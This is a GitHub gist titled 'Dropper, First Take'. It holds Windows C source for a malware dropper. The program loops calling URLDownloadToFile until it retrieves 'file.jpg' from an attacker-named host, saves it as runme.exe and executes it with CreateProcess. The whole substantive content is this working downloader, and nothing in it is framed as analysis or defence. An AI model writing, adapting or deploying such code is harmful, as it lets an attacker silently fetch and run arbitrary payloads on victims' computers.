Skip to content

Instantly share code, notes, and snippets.

@phikshun
Created April 20, 2012 19:30
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save phikshun/2431200 to your computer and use it in GitHub Desktop.
Save phikshun/2431200 to your computer and use it in GitHub Desktop.
Dropper, First Take
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <urlmon.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdLine, int nCmdShow) {
const char szFilename[] = "runme.exe";
const char szDownloadUrl[] = "http://attacker.com/file.jpg";
while(1) {
if (URLDownloadToFile(NULL, szDownloadUrl, szFilename, BINDF_GETNEWESTVERSION, NULL) == S_OK) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);
if (CreateProcess(szFilename, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
break;
} else {
Sleep(5000);
}
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment